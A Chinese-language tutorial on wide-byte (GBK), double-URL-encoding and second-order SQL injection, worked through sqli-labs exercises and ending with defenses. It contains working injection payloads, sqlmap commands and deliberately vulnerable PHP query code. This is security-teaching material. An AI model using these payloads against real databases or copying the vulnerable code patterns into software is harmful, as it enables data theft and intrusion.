其他注入

宽字节注入

原理:

GB2312,GBK等这些都是宽字节,实际为两字节

常规输入’后会被处理为',然后进行编码为%5c%27即',代入sql为id=1' and这明显是不能注入的

当mysql在使用gbk编码,会认为两个字符为一个汉字

%df’会被处理为%df',进行编码%df%5c%27,其中%df%5c组合会被认为是一个汉字(前一个ASCII码大于128才能到汉字的范围),id=某汉字’ and可以注入

方法:

在注入点后键入%df,然后按照正常流程开始注入

less-32

黑盒测试:在可能注入点后键入%df进行测试

白盒测试:

  1. 查看mysql编码是否为gbk
  2. 是否使用preg_replace转义单引号
  3. 是否使用addslasher转义
  4. 是否使用mysql_real_escape_string转义

    练习:

id=1’

回显变为了1'

id=1%df%27

回显多了个不可见字符组合成了一个汉字并报错,很明显我们可以开始注入,按照以前的流程

id=%df%27 union select 1,(select user()),3–+

1
select * from users where id='%df' union select 1,(select user()),3--+'

回显当前用户,剩下的直接按照之前的套路即可
也可使用sqlmap

但是如果不进行处理直接键入

比如sqlmap -u ‘url’ 是不会显示有注入点的需要在url加一个汉字参数

比如sqlmap -u ‘url?id=1%df’类似 这样即可

重点还是是否设置了编码gbk这些宽字节的编码!!!!!以及那些能进行转义的函数

防御:

  1. 设置utf-8,避免宽字节注入ps:不仅在gbk,日文和韩文都存在宽字节漏洞
  2. 使用mysql_real_escape_string时一定要设置mysql_set_charset(‘gbk’,$conn);
  3. 可以设置参数character_set_client=binary

    二次编码注入

原理:

面对php代码或者配置时,urldecode()与本身处理编码时,两者配合失误,可以构造错误消灭\

用户输入id=1%27,php自身编码id=1’,转义为1',代入sql为id=1'不能注入

php代码中放置了urldecode()等编码函数,放置在一个尴尬的位置,与php自身编码配合失误

用户输入id=1%2527,自身编码为id=1%27,此时没有’没有触发转义,函数编码为id=1’,代入sql为id=1’ and可以注入

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($_GET['id'])){
$id = mysql_real_escape_string($_GET['id']);
$id = urldecode($id);
$sql = "select * from users where id='$id' limit 0,1";
$result = mysql_query($sql);
$row=mysql_fetch_array($result);
if($row)
{
xxxxx
}
else
{
xxxxx
}

练习:

id=1’时会被转义为id=1'

变为id=1%2527时,回显为1’并报错可以发现会存在sql注入漏洞接下来直接按照之前的套路

比如

id=%2527 and union select 1,(select user()),3–+

1
select * from users where id =' union select 1,(select user()),3--+'

如果是sqlmap的话跟宽字节注入一个道理需要键入相关参数
比如sqlmap -u ‘url?id=1%2527’就可以跑

黑盒测试:

在可能的注入点键入%2527,之后进行注入测试

白盒测试:

  1. 是否使用Urldecode函数
  2. urldecode函数是否存在转义方法之后

    二次注入

原理

第一步:插入恶意数据:

第一次进行数据库插入数据的时候,仅仅对特殊字符进行了转义,在写入的时候保留了原来的数据,但是数据本身是含有恶意内容的

第二步:引用恶意数据:

将数据存入到数据库之后,开发者认为数据是可信的,在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,就会造成sql的二次注入

过程:

寻找插入数据库并会转义的操作,输入参数,参数经过转义函数1',参数进入数据库存储还原为1’,寻找另一处引用数据的操作,将1’从数据库中取出,取出后直接给变量并代入sql,sql注入触发

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$sql = 'select * from users order by id asc';
$result = mysql_query($sql);
$num = mysql_num_rows($result);
for ($j = 0;$j<$num;++$j)
{
$row = mysql_fetch_array($result);
$username = $row[1];
$sql_detail = "select * from users where username ='$username'";
$result_detail=mysql_query($sql_detail);
$num_detail=mysql_num_rows($result_detail);
for($i =0;$i<$num_detail;++$i){
$row_detail =mysql_fetch_array($result_detail);
xxxxxx
}
}

练习:less24

点击注册admin’# 密码123,然后修改密码为1314并键入原密码123

查看数据库里可以看到admin这个用户密码被改成了1314,而不是admin’#这个用户的密码被修改了

具体的sql语句是这样

$sql=”update users set password=’1314’ where username=’admin’#’ and password = ‘$curr_pass’”;

所以我们可以这样注入

创建一个这样的用户

1’ union select 1,user(),3# 密码123

然后查看用户列表,可以看到当前用户名能显示我们数据库的当前用户

执行的语句为$sql_detail = ‘select * from users where username = ‘1’ union select 1,user(),3#’”;

这样就能到比较直观的二次注入的效果,不断插入我们的语句就能查询到我们想要的信息

防御:

对外部提交的数据,需要更加严谨的对待,程序内部的数据调用,也要进行严格的检查,一不小心,测试者就能将特定的sql语句代入到查询中